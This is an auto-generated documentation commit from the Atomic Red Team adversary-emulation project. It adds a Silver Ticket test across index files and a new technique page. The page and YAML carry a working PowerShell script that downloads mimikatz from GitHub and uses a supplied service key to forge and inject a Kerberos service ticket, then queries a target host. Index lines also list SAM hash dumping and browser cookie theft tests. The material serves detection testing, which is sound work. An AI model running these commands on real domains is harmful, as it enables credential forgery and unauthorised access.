Generated docs from job=generate-docs branch=master [ci skip]
This commit is contained in:
Atomic Red Team doc generator
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -112,6 +112,7 @@ credential-access,T1003.002,Security Account Manager,3,esentutl.exe SAM copy,a90
|
||||
credential-access,T1003.002,Security Account Manager,4,PowerDump Hashes and Usernames from Registry,804f28fc-68fc-40da-b5a2-e9d0bce5c193,powershell
|
||||
credential-access,T1003.002,Security Account Manager,5,dump volume shadow copy hives with certutil,eeb9751a-d598-42d3-b11c-c122d9c3f6c7,powershell
|
||||
credential-access,T1003.002,Security Account Manager,6,dump volume shadow copy hives with System.IO.File,9d77fed7-05f8-476e-a81b-8ff0472c64d0,powershell
|
||||
credential-access,T1558.002,Silver Ticket,1,Crafting Active Directory silver tickets with mimikatz,385e59aa-113e-4711-84d9-f637aef01f2c,powershell
|
||||
credential-access,T1539,Steal Web Session Cookie,1,Steal Firefox Cookies (Windows),4b437357-f4e9-4c84-9fa6-9bcee6f826aa,powershell
|
||||
credential-access,T1539,Steal Web Session Cookie,2,Steal Chrome Cookies (Windows),26a6b840-4943-4965-8df5-ef1f9a282440,powershell
|
||||
credential-access,T1555.004,Windows Credential Manager,1,Access Saved Credentials via VaultCmd,9c2dd36d-5c8b-4b29-8d72-a11b0d5d7439,command_prompt
|
||||
|
||||
|
@@ -76,6 +76,7 @@ credential-access,T1003.002,Security Account Manager,3,esentutl.exe SAM copy,a90
|
||||
credential-access,T1003.002,Security Account Manager,4,PowerDump Hashes and Usernames from Registry,804f28fc-68fc-40da-b5a2-e9d0bce5c193,powershell
|
||||
credential-access,T1003.002,Security Account Manager,5,dump volume shadow copy hives with certutil,eeb9751a-d598-42d3-b11c-c122d9c3f6c7,powershell
|
||||
credential-access,T1003.002,Security Account Manager,6,dump volume shadow copy hives with System.IO.File,9d77fed7-05f8-476e-a81b-8ff0472c64d0,powershell
|
||||
credential-access,T1558.002,Silver Ticket,1,Crafting Active Directory silver tickets with mimikatz,385e59aa-113e-4711-84d9-f637aef01f2c,powershell
|
||||
credential-access,T1539,Steal Web Session Cookie,1,Steal Firefox Cookies (Windows),4b437357-f4e9-4c84-9fa6-9bcee6f826aa,powershell
|
||||
credential-access,T1539,Steal Web Session Cookie,2,Steal Chrome Cookies (Windows),26a6b840-4943-4965-8df5-ef1f9a282440,powershell
|
||||
credential-access,T1555.004,Windows Credential Manager,1,Access Saved Credentials via VaultCmd,9c2dd36d-5c8b-4b29-8d72-a11b0d5d7439,command_prompt
|
||||
|
||||
|
@@ -159,7 +159,8 @@
|
||||
- Atomic Test #5: dump volume shadow copy hives with certutil [windows]
|
||||
- Atomic Test #6: dump volume shadow copy hives with System.IO.File [windows]
|
||||
- T1555.002 Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1558.002 Silver Ticket [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1558.002 Silver Ticket](../../T1558.002/T1558.002.md)
|
||||
- Atomic Test #1: Crafting Active Directory silver tickets with mimikatz [windows]
|
||||
- T1528 Steal Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1539 Steal Web Session Cookie](../../T1539/T1539.md)
|
||||
- Atomic Test #1: Steal Firefox Cookies (Windows) [windows]
|
||||
|
||||
@@ -114,7 +114,8 @@
|
||||
- Atomic Test #4: PowerDump Hashes and Usernames from Registry [windows]
|
||||
- Atomic Test #5: dump volume shadow copy hives with certutil [windows]
|
||||
- Atomic Test #6: dump volume shadow copy hives with System.IO.File [windows]
|
||||
- T1558.002 Silver Ticket [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1558.002 Silver Ticket](../../T1558.002/T1558.002.md)
|
||||
- Atomic Test #1: Crafting Active Directory silver tickets with mimikatz [windows]
|
||||
- [T1539 Steal Web Session Cookie](../../T1539/T1539.md)
|
||||
- Atomic Test #1: Steal Firefox Cookies (Windows) [windows]
|
||||
- Atomic Test #2: Steal Chrome Cookies (Windows) [windows]
|
||||
|
||||
@@ -47,7 +47,7 @@
|
||||
| | | IIS Components [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | LSASS Driver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Downgrade System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [SAML Tokens](../../T1606.002/T1606.002.md) | | | | | | |
|
||||
| | | [Image File Execution Options Injection](../../T1546.012/T1546.012.md) | [Launch Agent](../../T1543.001/T1543.001.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Security Account Manager](../../T1003.002/T1003.002.md) | | | | | | |
|
||||
| | | Implant Internal Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launch Daemon](../../T1543.004/T1543.004.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | |
|
||||
| | | [Kernel Modules and Extensions](../../T1547.006/T1547.006.md) | [Launchd](../../T1053.004/T1053.004.md) | [Dynamic-link Library Injection](../../T1055.001/T1055.001.md) | Silver Ticket [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | |
|
||||
| | | [Kernel Modules and Extensions](../../T1547.006/T1547.006.md) | [Launchd](../../T1053.004/T1053.004.md) | [Dynamic-link Library Injection](../../T1055.001/T1055.001.md) | [Silver Ticket](../../T1558.002/T1558.002.md) | | | | | | |
|
||||
| | | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Local Accounts](../../T1078.003/T1078.003.md) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | |
|
||||
| | | LSASS Driver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Login Items [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Steal Web Session Cookie](../../T1539/T1539.md) | | | | | | |
|
||||
| | | [Launch Agent](../../T1543.001/T1543.001.md) | [Logon Script (Mac)](../../T1037.002/T1037.002.md) | Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal or Forge Kerberos Tickets [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | |
|
||||
|
||||
@@ -38,7 +38,7 @@
|
||||
| | | [Image File Execution Options Injection](../../T1546.012/T1546.012.md) | [Local Accounts](../../T1078.003/T1078.003.md) | Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Private Keys](../../T1552.004/T1552.004.md) | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | [Standard Encoding](../../T1132.001/T1132.001.md) | |
|
||||
| | | LSASS Driver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Logon Script (Windows)](../../T1037.001/T1037.001.md) | Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SAML Tokens [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | Steganography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | |
|
||||
| | | [Local Account](../../T1136.001/T1136.001.md) | Make and Impersonate Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Security Account Manager](../../T1003.002/T1003.002.md) | | | | | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | |
|
||||
| | | [Local Accounts](../../T1078.003/T1078.003.md) | [Netsh Helper DLL](../../T1546.007/T1546.007.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Silver Ticket [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | |
|
||||
| | | [Local Accounts](../../T1078.003/T1078.003.md) | [Netsh Helper DLL](../../T1546.007/T1546.007.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Silver Ticket](../../T1558.002/T1558.002.md) | | | | | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | |
|
||||
| | | [Logon Script (Windows)](../../T1037.001/T1037.001.md) | Network Logon Script [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Steal Web Session Cookie](../../T1539/T1539.md) | | | | | [Web Protocols](../../T1071.001/T1071.001.md) | |
|
||||
| | | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Parent PID Spoofing](../../T1134.004/T1134.004.md) | [File Deletion](../../T1070.004/T1070.004.md) | Steal or Forge Kerberos Tickets [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | |
|
||||
| | | [Netsh Helper DLL](../../T1546.007/T1546.007.md) | Path Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | File and Directory Permissions Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | | | | | |
|
||||
|
||||
@@ -6899,7 +6899,88 @@ credential-access:
|
||||
description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
|
||||
from Memory. Retrieved October 11, 2019.
|
||||
url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
|
||||
atomic_tests: []
|
||||
identifier: T1558.002
|
||||
atomic_tests:
|
||||
- name: Crafting Active Directory silver tickets with mimikatz
|
||||
auto_generated_guid: 385e59aa-113e-4711-84d9-f637aef01f2c
|
||||
description: |
|
||||
Once the hash of service account is retrieved it is possible to forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets.
|
||||
The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
domain_sid:
|
||||
description: SID of the targeted domain, if you keep default it will automatically
|
||||
get the current domain SID
|
||||
type: String
|
||||
default: S-1-5-21-DEFAULT
|
||||
domain:
|
||||
description: Targeted Active Directory domain FQDN
|
||||
type: String
|
||||
default: "%userdnsdomain%"
|
||||
account:
|
||||
description: Account to impersonate
|
||||
type: String
|
||||
default: silverticketfakeuser
|
||||
target:
|
||||
description: System you want to target (Default will be logon server)
|
||||
type: String
|
||||
default: "%logonserver:\\\\=%"
|
||||
service_aes256_key:
|
||||
description: AES256 key (you will need to set to match your service key
|
||||
for your target)
|
||||
type: String
|
||||
default: b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
|
||||
mimikatz_path:
|
||||
description: Mimikatz windows executable
|
||||
type: Path
|
||||
default: "$env:TEMP\\mimikatz\\x64\\mimikatz.exe"
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: 'Mimikatz executor must exist on disk and at specified location
|
||||
(#{mimikatz_path})
|
||||
|
||||
'
|
||||
prereq_command: |
|
||||
$mimikatz_path = cmd /c echo #{mimikatz_path}
|
||||
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
|
||||
get_prereq_command: |
|
||||
$mimikatz_path = cmd /c echo #{mimikatz_path}
|
||||
$mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
|
||||
Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\mimikatz.zip"
|
||||
Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force
|
||||
New-Item -ItemType Directory (Split-Path $mimikatz_path) -Force | Out-Null
|
||||
Move-Item $env:TEMP\mimikatz\x64\mimikatz.exe $mimikatz_path -Force
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: "Remove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item
|
||||
$env:TEMP\\silver.txt -ErrorAction Ignore\n\n# get current domain SID if
|
||||
default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match
|
||||
\"DEFAULT\") {\n # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n
|
||||
\ $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n $krbtgtSID
|
||||
= (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n
|
||||
\ $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n#
|
||||
create batch file with commands to run in a separate \"runas /netonly\"
|
||||
session\n# so we don't purge Kerberos ticket from the current Windows session\n#
|
||||
its output goes to silver.txt temp file, because we cannot capture \"runas
|
||||
/netonly\" output otherwise\n@\"\n>%TEMP%\\silver.txt 2>&1 (\n echo Purge
|
||||
existing tickets and create silver ticket:\n klist purge\n #{mimikatz_path}
|
||||
\"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key}
|
||||
/user:#{account} /service:HOST /target:#{target}.#{domain} /ptt\" \"exit\"\n\n
|
||||
\ echo.\n echo executing:schtasks /query /S #{target}.#{domain}\n schtasks
|
||||
/query /S #{target}.#{domain}\n \n echo.\n echo Tickets after requesting
|
||||
schtasks:\n klist\n\n echo.\n echo End of Silver Ticket attack\n)\n\"@
|
||||
-Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\silver.bat\n\n#
|
||||
run batch file in a new empty session (password and username do not matter)\necho
|
||||
\"foo\" | runas /netonly /user:fake \"$env:TEMP\\silver.bat\" | Out-Null\n\n#
|
||||
wait until the output file has logged the entire attack\ndo {\n Start-Sleep
|
||||
1 # wait a bit so the output file has time to be created\n Get-Content
|
||||
-Path \"$env:TEMP\\silver.txt\" -Wait | ForEach-Object {\n if ($_ -match
|
||||
'End of Silver Ticket attack') { break } \n }\n} while ($false) # dummy
|
||||
loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content
|
||||
$env:TEMP\\silver.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\silver.bat
|
||||
-ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n"
|
||||
T1528:
|
||||
technique:
|
||||
object_marking_refs:
|
||||
|
||||
@@ -0,0 +1,120 @@
|
||||
# T1558.002 - Silver Ticket
|
||||
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1558/002)
|
||||
<blockquote>Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)
|
||||
|
||||
Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)
|
||||
|
||||
Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).</blockquote>
|
||||
|
||||
## Atomic Tests
|
||||
|
||||
- [Atomic Test #1 - Crafting Active Directory silver tickets with mimikatz](#atomic-test-1---crafting-active-directory-silver-tickets-with-mimikatz)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
## Atomic Test #1 - Crafting Active Directory silver tickets with mimikatz
|
||||
Once the hash of service account is retrieved it is possible to forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets.
|
||||
The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.
|
||||
|
||||
**Supported Platforms:** Windows
|
||||
|
||||
|
||||
**auto_generated_guid:** 385e59aa-113e-4711-84d9-f637aef01f2c
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Inputs:
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
| domain_sid | SID of the targeted domain, if you keep default it will automatically get the current domain SID | String | S-1-5-21-DEFAULT|
|
||||
| domain | Targeted Active Directory domain FQDN | String | %userdnsdomain%|
|
||||
| account | Account to impersonate | String | silverticketfakeuser|
|
||||
| target | System you want to target (Default will be logon server) | String | %logonserver:\\=%|
|
||||
| service_aes256_key | AES256 key (you will need to set to match your service key for your target) | String | b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9|
|
||||
| mimikatz_path | Mimikatz windows executable | Path | $env:TEMP\mimikatz\x64\mimikatz.exe|
|
||||
|
||||
|
||||
#### Attack Commands: Run with `powershell`!
|
||||
|
||||
|
||||
```powershell
|
||||
Remove-Item $env:TEMP\silver.bat -ErrorAction Ignore
|
||||
Remove-Item $env:TEMP\silver.txt -ErrorAction Ignore
|
||||
|
||||
# get current domain SID if default was used
|
||||
$domain_sid = "#{domain_sid}"
|
||||
If ($domain_sid -Match "DEFAULT") {
|
||||
# code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60
|
||||
$domain = gwmi Win32_ComputerSystem | Select -Expand Domain
|
||||
$krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
|
||||
$domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
|
||||
}
|
||||
|
||||
# create batch file with commands to run in a separate "runas /netonly" session
|
||||
# so we don't purge Kerberos ticket from the current Windows session
|
||||
# its output goes to silver.txt temp file, because we cannot capture "runas /netonly" output otherwise
|
||||
@"
|
||||
>%TEMP%\silver.txt 2>&1 (
|
||||
echo Purge existing tickets and create silver ticket:
|
||||
klist purge
|
||||
#{mimikatz_path} "kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key} /user:#{account} /service:HOST /target:#{target}.#{domain} /ptt" "exit"
|
||||
|
||||
echo.
|
||||
echo executing:schtasks /query /S #{target}.#{domain}
|
||||
schtasks /query /S #{target}.#{domain}
|
||||
|
||||
echo.
|
||||
echo Tickets after requesting schtasks:
|
||||
klist
|
||||
|
||||
echo.
|
||||
echo End of Silver Ticket attack
|
||||
)
|
||||
"@ -Replace "DOMAIN_SID", $domain_sid | Out-File -Encoding OEM $env:TEMP\silver.bat
|
||||
|
||||
# run batch file in a new empty session (password and username do not matter)
|
||||
echo "foo" | runas /netonly /user:fake "$env:TEMP\silver.bat" | Out-Null
|
||||
|
||||
# wait until the output file has logged the entire attack
|
||||
do {
|
||||
Start-Sleep 1 # wait a bit so the output file has time to be created
|
||||
Get-Content -Path "$env:TEMP\silver.txt" -Wait | ForEach-Object {
|
||||
if ($_ -match 'End of Silver Ticket attack') { break }
|
||||
}
|
||||
} while ($false) # dummy loop so that 'break' can be used
|
||||
|
||||
# show output from new empty session
|
||||
Get-Content $env:TEMP\silver.txt
|
||||
|
||||
# cleanup temp files
|
||||
Remove-Item $env:TEMP\silver.bat -ErrorAction Ignore
|
||||
Remove-Item $env:TEMP\silver.txt -ErrorAction Ignore
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
#### Dependencies: Run with `powershell`!
|
||||
##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})
|
||||
##### Check Prereq Commands:
|
||||
```powershell
|
||||
$mimikatz_path = cmd /c echo #{mimikatz_path}
|
||||
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
|
||||
```
|
||||
##### Get Prereq Commands:
|
||||
```powershell
|
||||
$mimikatz_path = cmd /c echo #{mimikatz_path}
|
||||
$mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
|
||||
Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\mimikatz.zip"
|
||||
Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force
|
||||
New-Item -ItemType Directory (Split-Path $mimikatz_path) -Force | Out-Null
|
||||
Move-Item $env:TEMP\mimikatz\x64\mimikatz.exe $mimikatz_path -Force
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
Reference in New Issue
Block a user